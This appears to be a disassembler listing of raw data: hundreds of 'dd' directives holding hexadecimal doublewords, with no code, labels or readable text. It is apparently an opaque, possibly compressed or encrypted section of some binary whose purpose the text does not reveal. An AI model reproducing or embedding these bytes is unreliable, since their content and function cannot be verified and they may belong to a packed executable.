		dd 1F3ECD6Dh, 0C033B0F1h, 365572FDh, 19F25134h,	0DD5B4501h
		dd 54A0C409h, 35056E8h,	6CF385E5h, 0C3F794B1h, 45C8C2AAh
		dd 4200EE81h, 676BE2B8h, 18A03C5h, 1FEF62CEh, 0ECD4FC19h
		dd 0B00A97Bh, 0FD3A75B1h, 904EB580h, 7C210059h,	0DAD9AFB9h
		dd 0F800837Fh, 0A070481Ah, 6C74F4h, 60985A11h, 0B168FE19h
		dd 8B00F97Bh, 5F594857h, 926DF66h, 8AE5EC83h, 53ABB980h
		dd 9D00AD9Bh, 882DF7C2h, 3F1106Dh, 70D53C9Fh, 33E0CB6Bh
		dd 4760C10Eh, 0D644FAD0h, 1A2E00CFh, 0D2612578h, 8700CEA9h
		dd 56EB1C43h, 21F722h, 74420F75h, 6B41E812h, 1EECAD00h
		dd 6E8FA87Ch, 88B900DAh, 0CD7237DBh, 0FE00F361h, 77D27A18h
		dd 0E280F2h, 24D40394h,	2B9AC2A3h, 30237D00h, 0C7C1A6E7h
		dd 3CAD006Dh, 8072FF20h, 0BC0041EAh, 56F30AA9h,	0B7D30Dh
		dd 1CDF7329h, 8B0B826Ah, 1D0078FEh, 754BB92Ch, 0F2E01516h
		dd 12AB02EEh, 8C6B3008h, 0DEC654E0h, 57BE1A00h,	0A93AB027h
		dd 9AEE1888h, 0B65A43Fh, 2A10981Ch, 76663280h, 0EAC5AE7h
		dd 81AF034Eh, 0F4C8B340h, 3274C7F8h, 63F06B00h,	99A6BCA9h
		dd 0EFD300F5h, 5DBF1F90h, 2F01CC01h, 4E42FCFFh,	0C20E46Eh
		dd 0B5FB1D5Fh, 75783049h, 0E31D7DD6h, 0BC0189CAh, 0A8F518CBh
		dd 51911040h, 110B0EE4h, 31C2158Ch, 0FBC36993h,	7978B87Eh
		dd 0CB071200h, 1DE83472h, 0FD8B1ED1h, 0B7E68754h, 0B0C19F2Bh
		dd 403E06BDh, 0C705EE08h, 93F40D1Fh, 98F5780Ch,	0F36876ADh
		dd 7DF019ECh, 202E03CCh, 41DD6D15h, 3E99000h, 0D66FC432h
		dd 0E7680047h, 0B87DE1C8h, 0F5283CCBh, 93185C54h, 5DF1DD1Dh
		dd 3A567A89h, 0C50A81B6h, 16144BF4h, 472C02ABh,	17C0CF38h
		dd 0B503CABFh, 81BBADA4h, 82F0E7E5h, 71FF12h, 2396C3D8h
		dd 802BB010h, 616FCB00h, 4BB1068Fh, 82FD03FBh, 532994EEh
		dd 981ECC80h, 9BBAEA01h, 3116E726h, 0D8D70480h,	51E13B05h
		dd 83FE9576h, 0A88AAB24h, 0E7C09E1Dh, 48638237h, 0DAB34826h
		dd 7700DD39h, 0F83D7DB5h, 0B07435Bh, 9EE4AFF2h,	8035FE91h
		dd 61F04F20h, 2388F094h, 2252FC6Dh, 8665CB01h, 872C8F03h
		dd 780D0h, 0A2DC173Fh, 260B5788h, 480AE076h, 0B4D1F05Fh
		dd 7D7F9B80h, 30A12Dh, 0CBAD1A75h, 50468ABFh, 9A8D5A00h
		dd 697FC70Fh, 0DC2C0FACh, 430FE532h, 0F7A4D400h, 47336F1h
		dd 6D05ADE4h, 5DDEB431h, 0EC7FB800h, 98BF22h, 2770D928h
		dd 0A475198Fh, 0EBC19D0Fh, 0CED2E0DAh, 7329Bh, 316152A2h
		dd 0E4A67F69h, 48950803h, 0A8B0E529h, 4DB6D27Bh, 40078EFh
		dd 5BFA1FA2h, 47307768h, 0F2BF7058h, 82390096h,	0F42EDC05h
		dd 690CE366h, 50DA146Ah, 62A902B7h, 42B25699h, 5B3900DDh
		dd 5E6AD8h, 37CF259Fh, 0D969DFA3h, 30B74D00h, 4CAE75DDh
		dd 0C7BF872h, 0C248D685h, 80000818h, 0EC20EE51h, 7A2180Fh
		dd 6F72536Ah, 61B6C0FDh, 9177513h, 0D507176Eh, 0C70C46Ch
		dd 0C8E569h, 4C02C97Bh,	0E2750BAh, 8646183Fh, 0C505DCDFh
		dd 62048560h, 188874ACh, 2550D704h, 55F00069h, 0D570AFDEh
		dd 9D000FD7h, 4091999Fh, 0A52583h, 3A8C808Fh, 5CF13AAh
		dd 0F7087900h, 0FEE4F547h, 32F6000Dh, 0BF99B0DDh, 0D4075021h
		dd 0CD55C5EAh, 596AE5E1h, 0FCB14760h, 56DD1283h, 3A301D4h
		dd 4EFDAB12h, 72A60820h, 83D96112h, 0A1E0E3F5h,	509E475h
		dd 2EB6F0F4h, 2BBD2030h, 1E323A0Eh, 0E2D2E98h, 119860DBh
		dd 0FD00BAA0h, 97374B44h, 17E7B4F6h, 5E039BBh, 804512A0h
		dd 0BE0E17CFh, 0E297F903h, 0A2150F18h, 9C848059h, 3D4C5CBDh
		dd 2D8C37E0h, 5589995Ah, 7930E7EAh, 0BAAA28B5h,	687F6829h
		dd 17C740B4h, 23001A36h, 9D8A1483h, 0A885BABh, 92CD0787h
		dd 0BBD10D30h, 1B08238h, 8A0B1B6h, 8AEE4020h, 0CB218D66h
		dd 18A450EFh, 0C10FD647h, 0CBA25CD3h, 213E9925h, 0C04C0E78h
		dd 0C67104CAh, 7806C259h, 8441DF7Ch, 904FA99Fh,	0D79B3B28h
		dd 40E648h, 18794D56h, 5B4CF0Ch, 9669017Ah, 0C2DA0308h
		dd 0DCE33EF4h, 57310FB0h, 6C03D476h, 7A4A99B2h,	20AAC752h
		dd 0DA3FFABDh, 2D229176h, 76214EF2h, 98304965h,	811091A7h
		dd 50359C13h, 0D403CEB5h, 0A245E496h, 10841476h, 0C1035B85h
		dd 48B94773h, 98100E20h, 0E5A9346Eh, 8C000E0Dh,	0E9DC499Bh
		dd 0A24630E7h, 10670A86h, 0A0002084h, 21174FF6h, 3EE7EAC4h
		dd 0C2C36510h, 3B40FA5Ah, 1A7B8002h, 3EE3CBC2h,	28853A7Ch
		dd 7D2904B0h, 7CE33139h, 203D565Ah, 5C9C3000h, 0E2ACFE06h
		dd 0BA8A40ADh, 0AD532036h, 0E01573C7h, 0A7EE206Dh, 1F622EE0h
		dd 0C5948060h, 984131AFh, 0F7DD0354h, 0AAC8B9Bh, 52AEEDC0h
		dd 46260301h, 274F7705h, 12EA2C20h, 3FFC54Dh, 0CBC66A44h
		dd 768ECAC0h, 420E456h,	5E3E5C1h, 8FB6102Ah, 8060B4E0h
		dd 0E4389A23h, 11073CB2h, 0B89EB702h, 3BAE3AD7h, 9A593F21h
		dd 3A71804Bh, 0FD0885AEh, 82F96B31h, 0B340600Bh, 0AF93C996h
		dd 208E1440h, 889FBDB0h, 0E1054223h, 0B75A12Ah,	0F3FE6B05h
		dd 1640789Ch, 21B641C1h, 2882107Bh, 94965831h, 2A02A866h
		dd 5B4C5F8Ah, 0B8131556h
		dd 4082E82Dh, 8419E575h, 0BC4408C5h, 9F28302Dh,	0F660B808h
		dd 1B70F899h, 94390085h, 4F674AD3h, 3BADC0C4h, 4C230468h
		dd 8AF180E0h, 0F5C28E9h, 740A40AFh, 0C0516019h,	0AF0A0720h
		dd 0B0881020h, 7FC1D3BEh, 6280A51Fh, 68C418CCh,	2333B111h
		dd 0E03E7608h, 47A7750h, 0D2896FB0h, 23027C31h,	40B053DFh
		dd 421328D1h, 0DD52A19Eh, 592B020Eh, 3E072D03h,	0F5C0B643h
		dd 320DCEF3h, 600A948Fh, 1DECDEB0h, 88400657h, 61A278A6h
		dd 30A75411h, 2096BAF2h, 0B61190E8h, 7EF231F9h,	228CB020h
		dd 528C710h, 2C30CB76h,	0C804E2ECh, 0E357586Bh,	0F058AB7Ch
		dd 4CC0A4ECh, 2374D86Bh, 0A7E2DD09h, 53B310F0h,	269D4B40h
		dd 0E048F286h, 0D0BE0F36h, 0F2C90547h, 70056896h, 0FB8F29AEh
		dd 0B2208E11h, 0AF0A1EFEh, 40E95221h, 8833DAF1h, 0E8CA76C8h
		dd 0E6EA1B01h, 131F86DEh, 8381428h, 0C6AE1369h,	26A82A5Eh
		dd 25782894h, 2AC0D204h, 1B6C1408h, 0E72FA020h,	87F423E1h
		dd 141A20E2h, 288AF202h, 15827DF9h, 70152408h, 0F77A80Ah
		dd 0F81460AFh, 945CB080h, 1BFB10FDh, 0A5B0A82Ah, 0EE3D8220h
		dd 10152CDBh, 0D024B1FCh, 72864CFCh, 0B4968FECh, 1542683Ch
		dd 20CD34DBh, 3F16C8E2h, 2475D7BBh, 54200DC4h, 5848C93Ch
		dd 5ACDB0C8h, 205EE35Dh, 0D61A0C08h, 2B89CA58h,	0C560E425h
		dd 508CFC0h, 5F06DF68h,	0AEC44078h, 0D3C20220h,	0CB820D7Bh
		dd 1812E095h, 9DE0603Dh, 202D57EAh, 896F48Bh, 8C90C0C0h
		dd 8FC53867h, 0B0200894h, 0B1874DB1h, 534C58E8h, 0C080E052h
		dd 0FA47BF1Fh, 1C908F86h, 550A40B6h, 40CAE042h,	0A51B50F0h
		dd 5C5B0220h, 40BCFB7Eh, 0B19D420h, 4FADAF7Bh, 8DDD3480h
		dd 253E80C4h, 0E62B033Eh, 5B31187h, 0D2150E38h,	7628074Ah
		dd 0C817843h, 0AD2B7D74h, 0A8C5D0h, 30C29E25h, 0E7994813h
		dd 841CD54Fh, 0B914E026h, 4F361028h, 7C88130Ah,	683E4420h
		dd 0F4964095h, 6BB90518h, 372E76F8h, 0C3594943h, 317C0415h
		dd 1FAD2F22h, 205485FDh, 7B9D5817h, 0AE11C046h,	0C1C00E78h
		dd 79414BEBh, 8C323DB6h, 90B44F38h, 693300C5h, 55F76292h
		dd 45FA4974h, 0B300D27Bh, 4C16A0AEh, 0EAACB176h, 4A0509B2h
		dd 0E481CF3Dh, 875C5481h, 290DDDD0h, 2E1A508Ch,	0FCE73Ch
		dd 53BC76B9h, 0B700AE50h, 56D93129h, 2AB1ABD4h,	3C8C3DCh
		dd 6AE6F613h, 14A84CD7h, 5A3E16D4h, 38DC21h, 2D5B93DEh
		dd 3C320758h, 750047DDh, 8F169EF1h, 0EA0FA4D7h,	9E0E55Ch
		dd 30A0E015h, 0E387FBFh, 7E02AA24h, 4F589C03h, 0E8CF41F8h
		dd 0EA798803h, 0D887C764h, 0EC35D37Ch, 0F1FA0092h, 2BE497F8h
		dd 5400E8C2h, 9CEBEFB8h, 1443B8Ch, 79FA4C42h, 0E005AE27h
		dd 8500D555h, 0B888087Bh, 0F3FE64Eh, 0D6C9C40Ah, 0C31B5780h
		dd 541FACBAh, 0BFC71A4Dh, 552065C1h, 2F8BB8h, 9551E0ECh
		dd 58DB216Ch, 60A1613Eh, 0E6C0B330h, 64A00F3Ah,	1818559Bh
		dd 740F63D7h, 5BB99D0h,	18001B7Bh, 39DCFB3Eh, 0E7801841h
		dd 0FAD4A068h, 2E388C1h, 0A09B86B8h, 0B99B78E0h, 24BB3800h
		dd 0A17765FFh, 78AD675Eh, 0D26A96EBh, 73FB9200h, 0AFC5CC9Ah
		dd 4D5B0A85h, 57A803B4h, 0BEE5B080h, 189B990Fh,	819140D0h
		dd 22305004h, 39C8F915h, 8B18C0CDh, 0B6347BA3h,	0ACC7C8CAh
		dd 0F231E280h, 0E2E0BD33h, 0A3A81E84h, 34888243h, 8081DC37h
		dd 40B538DFh, 70D35270h, 58F66206h, 1E191978h, 0C1AE4E42h
		dd 569CBDD9h, 8F80110Dh, 0E78B398Ah, 0B80500E0h, 9B98C2EAh
		dd 87FF9A18h, 28D6B488h, 0F6507F35h, 8C6400C5h,	91EDC37Bh
		dd 72289FF1h, 0E3001020h, 0B34DAD50h, 0A83AE488h, 0EF2CDC8h
		dd 7940CC9Dh, 0FCF60597h, 0A3D4098Ch, 0A1040C10h, 708FD62Ah
		dd 1C207B0Ah, 8900C85Ah, 585F7C6Eh, 0B0B804EDh,	0BF800F2Bh
		dd 7F4D2400h, 60E039C9h, 309A38D1h, 72399DC2h, 0D9B28313h
		dd 837F4Fh, 33865268h, 0BC148F63h, 1F4BF940h, 1506C842h
		dd 2B0E884Eh, 51E31DBDh, 80789708h, 0F4833928h,	6AA28B04h
		dd 248891EBh, 2DB200FEh, 2A638736h, 0B007F0Eh, 1A243C6Bh
		dd 0E6F9A3Fh, 25A74F60h, 7780548Fh, 0C8C48C6Eh,	0A56F10Fh
		dd 2ADF036Dh, 0C0B5C0C5h, 10BF244h, 427DC3A9h, 0D83F769Dh
		dd 827824B0h, 97C65F01h, 7CB9E4CCh, 2125E0h, 64BCC807h
		dd 6E354F7Dh, 0A794E0Fh, 2BDB8011h, 18A1F362h, 0A8C5720Ch
		dd 0A703EF22h, 94602320h, 0C991E1BBh, 0CB317DCh, 3F260A67h
		dd 8C42B119h, 8424FE10h, 3221B765h, 62A50025h, 21BE3E7Bh
		dd 0A60B0300h, 0E68364FBh, 222F41Fh, 0ABA83C00h, 1E61710Ah
		dd 0F00431h, 416C4E96h,	0C30333D7h, 790FABAEh, 262809E1h
		dd 9D837CB4h, 181002DCh, 0C282AAC6h, 6C0322E3h,	0CE310CA9h
		dd 0C3C008E8h, 8F329D0Eh, 2BDA01EDh, 7B02F992h,	0EE833E63h
		dd 7CB02580h, 6A602850h, 20E75801h, 0A9CC917h, 7C48245Ch
		dd 0F810F91Fh, 28E0FFD1h, 0BB103481h, 1D28726Ah, 30869024h
		dd 0F108621Fh, 1DC4CE46h, 1F6B0218h, 30EF4179h,	0E2878098h
		dd 7FE820D8h, 8CC90050h, 8367122Dh, 88A0139Eh, 2B14C5C7h
		dd 0FA43466h, 1EF6046Ch, 4E310350h, 1E8288h, 0F0AB8D4Dh
		dd 0DC40E195h, 0E69D696Bh, 7CC0C0D7h, 4A803AE7h, 0D28C0150h
		dd 0EF538D7Ah, 883A083Ch, 717A44DDh, 0D10D06EFh, 0C4D3191Dh
		dd 18D1DB31h, 0EC2E21B2h, 0C7415F08h, 94788AD6h, 3C44964Ah
		dd 23394363h, 0AFE9880Ah, 78007765h, 343A62F2h,	25ECA09Ch
		dd 0BD31CE42h, 3A610611h, 1E21A84Ch, 0CACAE69Bh, 4B3092D2h
		dd 23C9B05h, 0ECDA2818h, 0C2807D20h, 9DB06Ah, 0A6103E17h
		dd 31B62BC4h, 47219CACh, 939E8805h, 18B50DC2h, 7E8CD65Bh
		dd 0EB23863Eh, 0C57A045Ch, 0EBE2122h, 0E9DB3C48h, 108EB60Ch
		dd 843C03A1h, 5261D783h, 0EB55102Dh, 0D0E850CAh, 48F7040Ah
		dd 91251FE4h, 48D59F9Ch, 0EDFE361Ch, 1CC358A1h,	0F45B53C2h
		dd 97881A23h, 1E0E6201h, 86C91130h, 3D583B53h, 3F3C542Ah
		dd 0A154244h, 0F2AF44BFh, 790A0D94h, 4CF8D931h,	414643ACh
		dd 0C6F3A610h, 2A94226h, 3B416E33h, 0E442C2E3h,	52159C99h
		dd 6338426Ch, 6478636h,	0C4CB7910h, 609FD4C7h, 20BE310Ah
		dd 0D6530818h, 42E015F8h, 0D89B2B3Fh, 84DA328Ah, 30421F62h
		dd 6CA94E82h, 9F30FE0Ah, 11C242D6h, 0F985B6DEh,	0B3C4AE1h
		dd 995EE2D8h, 8328F19h,	62C0E28Ah, 3C9040DAh, 2386E41Fh
		dd 510A1DCEh, 3A61A892h, 3C50EDE7h, 84EE3D62h, 7A2B5B47h
		dd 225612FCh, 0FC8636A8h, 0FC81114Eh, 932C2050h, 0A186892h
		dd 9260E28Ah, 22A8A6D0h, 0C0095D1Bh, 2AF7EB56h,	0E5144488h
		dd 9A7811D8h, 108E9B10h, 4FC4E799h, 0AE2261D6h,	46039C4Ch
		dd 0BE1E085Dh, 35E64123h, 214F0CF0h, 0AA08C307h, 989DC493h
		dd 218EBF14h, 3394D2BEh, 5AAEC23Ch, 0C7500DCh, 0EA0181DFh
		dd 0ED0A943Eh, 0A8600307h, 827C1683h, 6CF4421Fh, 7A07ABB3h
		dd 74C70D3h, 0C0A92150h, 2932C195h, 0B00CC363h,	515B9CE6h
		dd 5741186Bh, 0EE0D837h, 36F224A6h, 21AA5E04h, 7E22C375h
		dd 81E664C8h, 483DBF37h, 0AD5A2BF2h, 58116090h,	4001A92Fh
		dd 170472AAh, 0E2409h, 0A28890C2h, 456DDE78h, 204865F7h
		dd 0D241B794h, 0C0B95460h, 0B1826559h, 0F81A5276h, 5719BEFh
		dd 0CC94AB94h, 8DF49429h, 0E5E0C45Dh, 462201CDh, 818202D0h
		dd 7CAF272Bh, 0D9210882h
		dd 38161480h, 0B3486E90h, 3BD00420h, 0A480D580h, 0E8EFC92Bh
		dd 0E1F1637Ch, 0FBA3E5ABh, 66203088h, 0FF60407Ch, 7F43C3A0h
		dd 9FCCA828h, 0CDE08BEBh, 0A4A683E5h, 6595CB20h, 0C0762433h
		dd 0AD6B472Ch, 29C03492h, 901F5F26h, 938B206h, 6D166174h
		dd 82C81C48h, 65A4AD54h, 0C88B5A3Ah, 3B6A00E0h,	3E0592E5h
		dd 39E0CA8Fh, 16E83268h, 500474EBh, 0A90BA071h,	52BF405h
		dd 803860h, 4B30483Ch, 8DE0BA1Fh, 3678A9E8h, 7F74718h
		dd 5462AC11h, 2C83AC6Fh, 8F481D6Ah, 185898BDh, 6212A88Fh
		dd 909050DCh, 0A8AA6E3Ah, 14CDBCE0h, 0E88FF01Fh, 3AA74B82h
		dd 13283091h, 3227E4ABh, 9303042Bh, 0E0B147A8h,	0F04C5A00h
		dd 0FD495914h, 0B7FF1D0Ah, 13044898h, 0A64020C1h, 3A7C9260h
		dd 6A81C8A8h, 49F092Eh,	0C206426h, 33D4F700h, 0CD88E37Bh
		dd 531F028Ch, 0EB4E8332h, 1FAE040h, 0E0183355h,	0A52A3173h
		dd 4C1FB4AAh, 41C234F4h, 0CAF733D5h, 687840ECh,	67B088ECh
		dd 0F1260830h, 80B1A96Ah, 5E2683C7h, 0BB02C4AEh, 5229AF66h
		dd 5928C4BCh, 0D101EB4h, 9AC5C898h, 0F6BA98A8h,	711F1890h
		dd 0FB4466A8h, 3880151Eh, 282BCFCAh, 189CD803h,	91729CE0h
		dd 272C2852h, 0D0AAECFFh, 8BB8C600h, 251DE405h,	0F8C507B6h
		dd 0FC9B5969h, 0B01096D0h, 0D004881Eh, 93DA132Bh, 8CFB8040h
		dd 3F121875h, 90C1EB3Dh, 8EED671Fh, 969BB840h, 0B0C23090h
		dd 47297428h, 69055491h, 48037A27h, 0AB0383Ah, 0F03BF651h
		dd 7D9287A8h, 0CBC83F5h, 51741005h, 6000C8D6h, 0BDEC3921h
		dd 5016011Eh, 0DA9CE284h, 3349848Ah, 380006BFh,	6B265401h
		dd 0B4274228h, 2CCD0A2Ah, 695B6213h, 24E32C04h,	21257900h
		dd 1C9A180Ah, 47D03754h, 81EC1648h, 0D01FE9BCh,	27982450h
		dd 0AD890E2h, 0FACB645Ch, 0DB0A648h, 20281937h,	612079ECh
		dd 518600AAh, 84442188h, 0C0B06C39h, 6B523088h,	99F98E30h
		dd 140573B7h, 8251E99h,	83BBCA02h, 0CE912C2h, 25506001h
		dd 0E83E0640h, 0BCF0A0E1h, 8D05D44h, 226745Ch, 0F25A40D4h
		dd 74C6250h, 0DC16013Ch, 0B67AF94h, 0D836024h, 0DE98A860h
		dd 0B1FBE089h, 41449098h, 84720776h, 0C044AF0h,	9A0EDCB1h
		dd 0E496BAA3h, 60E33D15h, 0FFD77D08h, 0A50434A2h, 2B72C862h
		dd 0E081E890h, 383A48B0h, 6021D6C0h, 4724EC2Bh,	99E1081Bh
		dd 0C306A0Ch, 0B93A2E84h, 0E26C80D0h, 9405A4F8h, 3DE023E6h
		dd 58E05324h, 98140792h, 3A087F58h, 1EE7A2A8h, 0C3F4AA52h
		dd 29E85EB0h, 48589AA2h, 3C18212Ch, 0A8120C84h,	0A739F4D2h
		dd 3847F620h, 8C97A7D5h, 0FAA1FDD1h, 0C860B9E5h, 0B861CEAFh
		dd 61077323h, 135418D6h, 1409F3A8h, 8116517Ah, 0DC500E5Ch
		dd 112788Ah, 69920110h,	61D920BDh, 84A404C8h, 0B6A40311h
		dd 0ACC1A9D2h, 0F5884169h, 0BAE8421Eh, 0A9F31080h, 286C030Dh
		dd 33292011h, 0E7319874h, 24532011h, 44500120h,	0AA148928h
		dd 5085C67h, 7B0DAE47h,	3061300Ch, 2451C6ECh, 0E40EB9E1h
		dd 4939798Dh, 0A5802078h, 0DE6621A7h, 25980128h, 243C81E4h
		dd 39127160h, 9C003264h, 0FAF56B3Ah, 9F6E061Ah,	81567CADh
		dd 0F73A067Ah, 66600008h, 0EB48AEFDh, 281F054Dh, 0D4EF137Ah
		dd 0ADB081E0h, 3D186052h, 6C38EA0Ch, 3DE989D0h,	0F45DC683h
		dd 2DF38C00h, 3D3CD85Ah, 486632Ch, 5D04802Ch, 50802214h
		dd 269F324h, 0D9430C32h, 0CC68B22Bh, 5E2C8093h,	6C0164DBh
		dd 0F19CE542h, 2858F850h, 0D06F6E5Fh, 0B5EEBD81h, 0C4BC44F5h
		dd 0D4A4A0F0h, 77468509h, 32C80163h, 38B41DF9h,	5214F3B0h
		dd 343A6AB4h, 109ED543h, 865AF740h, 48A04ABAh, 80939403h
		dd 0D78194DCh, 0BCAF9004h, 6084A12Ch, 273D2440h, 988E51Eh
		dd 26BA93Ah, 0FF5B9CA1h, 0FCDC30F9h, 80A8625Ch,	0B01FF8D3h
		dd 0F8C46036h, 0EAA6331Dh, 209DC801h, 5CD6AB6h,	0D3FB868h
		dd 0EFF9BB44h, 18483CA3h, 99196040h, 0E8ABB239h, 0D2BD7B60h
		dd 0A8C002E9h, 6085E791h, 71C8C8A2h, 0F24C3118h, 73C9698h
		dd 0B6A86748h, 0C9AD8EEEh, 200BE141h, 8A1DD84h,	0D9420C8h
		dd 321951DEh, 1408DC20h, 8FC640C8h, 70E02C99h, 46F6A51Eh
		dd 81047812h, 90E8DC0Bh, 16020D4h, 723F1640h, 242DF011h
		dd 753A6430h, 0FCB08030h, 0FF8A06D4h, 6AD24804h, 420D007Ch
		dd 0BEB74A4Eh, 0D30E31CDh, 0BBBFEA4Ch, 0DCBCF018h, 0F835F662h
		dd 0E2263A9Ah, 52049100h, 8297E5F4h, 56E420Fh, 0B5EC83D2h
		dd 9B280036h, 3DEBC943h, 61002913h, 0C3995F17h,	0CE6B212h
		dd 75FB8DE3h, 0DC62AE48h, 23439810h, 3C1EA4Ah, 0EBA01142h
		dd 9808E8E1h, 2401E078h, 49F3064Ah, 1671D6C3h, 0D21000FFh
		dd 6DA45A31h, 4E0070F4h, 9FECD7Dh, 69C55h, 3063F68Dh, 78D1D5B1h
		dd 28B03500h, 0A755F305h, 0AB890E09h, 6AFDD60h,	0F7A5A3EFh
		dd 0A1A7C06Dh, 0A0BFA88h, 83AFE3ABh, 48EF11BDh,	7777AA38h
		dd 0F0423325h, 30149F10h, 0F2F9C0h, 65B4294Fh, 0A053A48h
		dd 8DF30F0Ch, 898B00C5h, 2A99825Fh, 59702300h, 1448AB7Fh
		dd 762C3204h, 649155D0h, 36921005h, 3729016Dh, 35772BD5h
		dd 0F7E1AEh, 9047D9E3h,	1C11C718h, 8B1DC0EAh, 95F02753h
		dd 84E658C5h, 18507838h, 18313823h, 53306754h, 0C0A279E9h
		dd 0C17D2872h, 47BA4008h, 0FB18B278h, 6A61822Dh, 379405EEh
		dd 41FD6F2Ch, 2526FF94h, 7B73E09Fh, 9BD41506h, 3309D30h
		dd 2892FE2Eh, 103FE2DBh, 0EBFB00D5h, 0F032631Ch, 0F270CF54h
		dd 0AF6FE100h, 92F6C285h, 0D26CFF07h, 36D02326h, 0F8F102E6h
		dd 344FE860h, 68787FB0h, 640DAD8h, 8F7990h, 85205689h
		dd 0CD277715h, 8E88E400h, 0CCC7AF8Dh, 9E5D00C9h, 7E4D1683h
		dd 0A300DB95h, 58120553h, 389F63ECh, 0FD0048DEh, 0C9C5BC4Eh
		dd 840CD0F5h, 10C6D30Ch, 0DAF903BFh, 8B054E5Ah,	0CA7E30DFh
		dd 0C71EA78Eh, 0C6D4D829h, 55A3001Ch, 15254693h, 0F7A3A94h
		dd 33095801h, 0E364D8D4h, 2274680Fh, 1780FC49h,	0AAE45393h
		dd 65AC002Dh, 48DDA7AEh, 1006CB22h, 0ED983EC6h,	0D1FC0EB0h
		dd 4E8004C9h, 0DC68BE7Bh, 0CB41509Dh, 0C556211h, 841137h
		dd 260E6C07h, 408C65CBh, 73BF2500h, 1F3517Ch, 47FA0024h
		dd 0A77A0F7Bh, 5C6646E5h, 14417C80h, 8021439Eh,	1D47984h
		dd 0E2E03EBCh, 33C4853h, 0C4400E31h, 706621FEh,	502E28h
		dd 8AF06E06h, 0DDD8D383h, 5C0E2914h, 0CEB040C8h, 3A537A0Eh
		dd 0F1D40289h, 0A6908170h, 0B19845E5h, 0DEAE6101h, 32009FE2h
		dd 30ED957Dh, 0C06DDF56h, 434E4D30h, 11C7D0D4h,	0C5C060CEh
		dd 0F122C874h, 758EE980h, 0D253857Eh, 29AEC0C1h, 200118h
		dd 0E04A6060h, 1358D770h, 0CB30757Eh, 65FD384Ch, 3B3F0057h
		dd 7DDAEDD1h, 0BCA4C6DFh, 0FAC40604h, 8F472D60h, 0F978C3D3h
		dd 47C5ADF3h, 71F414A8h, 802CE059h, 0CBB57E70h,	70055147h
		dd 83449156h, 54A44933h, 0B5C27803h, 1EDC7F3Fh,	65BD5D9h
		dd 106CC64Bh, 0F27E1100h, 2AC79F8Dh, 1D60EECBh,	0C724B8Eh
		dd 0AED0C884h, 0C5C2D603h, 0CD9493Fh, 34609649h, 0AE0076B1h
		dd 0FB9E47A6h, 10586CDh, 0BEABF2Dh, 0C35E3AFAh,	84CE73F8h
		dd 70D81600h, 7E3E8CC3h, 7AF11F0Ah, 44C00A4Ah, 921E3C94h
		dd 888144Bh, 8C4A0D11h,	88B020A5h, 7A05816Bh, 5D38AA65h
		dd 0BECD9443h, 0F240A3EEh, 57C0A0AFh, 19637319h, 0C88DFBEDh
		dd 552F10DAh
		dd 51876029h, 2409A586h, 5D8276Fh, 9444B864h, 0F09141BFh
		dd 0F98A0AAEh, 1814CB24h, 0E8BD51E4h, 0DC2FAB12h, 4053C041h
		dd 9C485830h, 3194125Fh, 746C01FCh, 0DACF7A24h,	886B084h
		dd 0B5648038h, 0EC77F5FCh, 0DF6C7C06h, 1E79DDC9h, 14DED3BBh
		dd 0CD200870h, 3A204842h, 6D1E4042h, 1F1811DCh,	12191FA5h
		dd 0C211F070h, 0F810908Bh, 2D11A688h, 112C3800h, 2EE4DE5Ah
		dd 968949C0h, 73CC6742h, 0D6D4A1F1h, 44C58850h,	4298AA40h
		dd 30549098h, 0A4D60160h, 0F37AD8F8h, 70FDCD23h, 8009949Eh
		dd 0D1B385h, 0AF3AE5ACh, 24307018h, 3A6C2BDCh, 0F0890301h
		dd 0C02F8B69h, 0CA60560h, 50005690h, 0A28455ACh, 7CD58865h
		dd 1B647CFAh, 807A8621h, 0D310A6AAh, 0E082F706h, 2254AC3Ah
		dd 83C41863h, 0E46528h,	186786CAh, 5A0507C5h, 197D2857h
		dd 1A91807h, 343DA241h,	0DB130254h, 60036459h, 808F6DC6h
		dd 0C7D294Eh, 457485Ah,	0B5767AB0h, 75E8D861h, 5030FB44h
		dd 26D04C4h, 0C374A03Bh, 85B941B8h, 0A85882D7h,	40C41F9Fh
		dd 30BC0B38h, 0A7A8CE22h, 0C012CC27h, 0E0028ED0h, 84B6453Eh
		dd 0ACC2FD8Ch, 0D21F20E4h, 5728B29Eh, 0D54DE0F4h, 9FAD0654h
		dd 105936D4h, 6F73F94h,	37A52FA8h, 0BC854C18h, 0AEE07680h
		dd 3E14BD93h, 882F7Ch, 4B635030h, 0F895D8F5h, 0B8FD001Bh
		dd 600CEA0Bh, 0E700AC06h, 0A656C47Dh, 29AA4546h, 0FAC6359h
		dd 0B038C13Eh, 0F0304830h, 0AEBC484Ch, 0D919DA33h, 0AC8D4C42h
		dd 1061CDB0h, 80C625BCh, 31874A7h, 8930556Ch, 0B7D60129h
		dd 3A18FF72h, 0F921C3B2h, 39DA88D3h, 11231742h,	581CF219h
		dd 8D184863h, 2250B1ECh, 0F8D41630h, 23A96B40h,	0E6680E23h
		dd 921C0200h, 0F7531E8h, 0BE6F14DCh, 535DE140h,	80F2011h
		dd 40D97044h, 7B716998h, 9D800CDh, 0EF92E83Ch, 0B4077689h
		dd 0D7EA2B80h, 6F24AC00h, 0B80F06E7h, 5089A93Ch, 9220E960h
		dd 53AC356Bh, 0BC42017h, 5FA1604Ch, 0EDD2279Eh,	91A369C0h
		dd 801D4B8h, 4ACFD08Ah,	26E18DD3h, 960168B9h, 0AF597A5Dh
		dd 72B881F0h, 0A3EF9B3Eh, 0C0D07F20h, 7B594568h, 0D9547EDDh
		dd 0A406EF80h, 0E39351Fh, 99620011h, 0D3874EA7h, 0F033BD2Ch
		dd 71408ABh, 0A6014721h, 55258018h, 9007BCDh, 0CAB91E9Fh
		dd 0C03D8F95h, 0E298EE90h, 0B0C0C732h, 420BD611h, 38761B92h
		dd 7823A04Dh, 0A79F013Fh, 18C38740h, 74D8851h, 0B353A600h
		dd 35908DD8h, 942E5072h, 0BB8C005Eh, 0E118EA2Fh, 8932FA0Fh
		dd 0E3B910BAh, 0C12D879h, 6317004Bh, 0AF325919h, 7D00B1DCh
		dd 39BA744Fh, 75B073Ah,	588F1C30h, 0D81F80A4h, 80008C36h
		dd 0ED34F2FDh, 170495Ah, 0EFEEBF92h, 9EF3C691h,	31C05B18h
		dd 7340C4C2h, 112600BCh, 163A3FA9h, 5A1C9734h, 0C547F3FCh
		dd 6100DA80h, 1073465Dh, 0DE28D6h, 0AC68B688h, 7236A3h
		dd 0ECA93F97h, 6E284DC6h, 0D603F57Ah, 82C0D780h, 71580FEDh
		dd 2400446Dh, 78A627ECh, 3612350Fh, 0DA9010Ah, 288738A8h
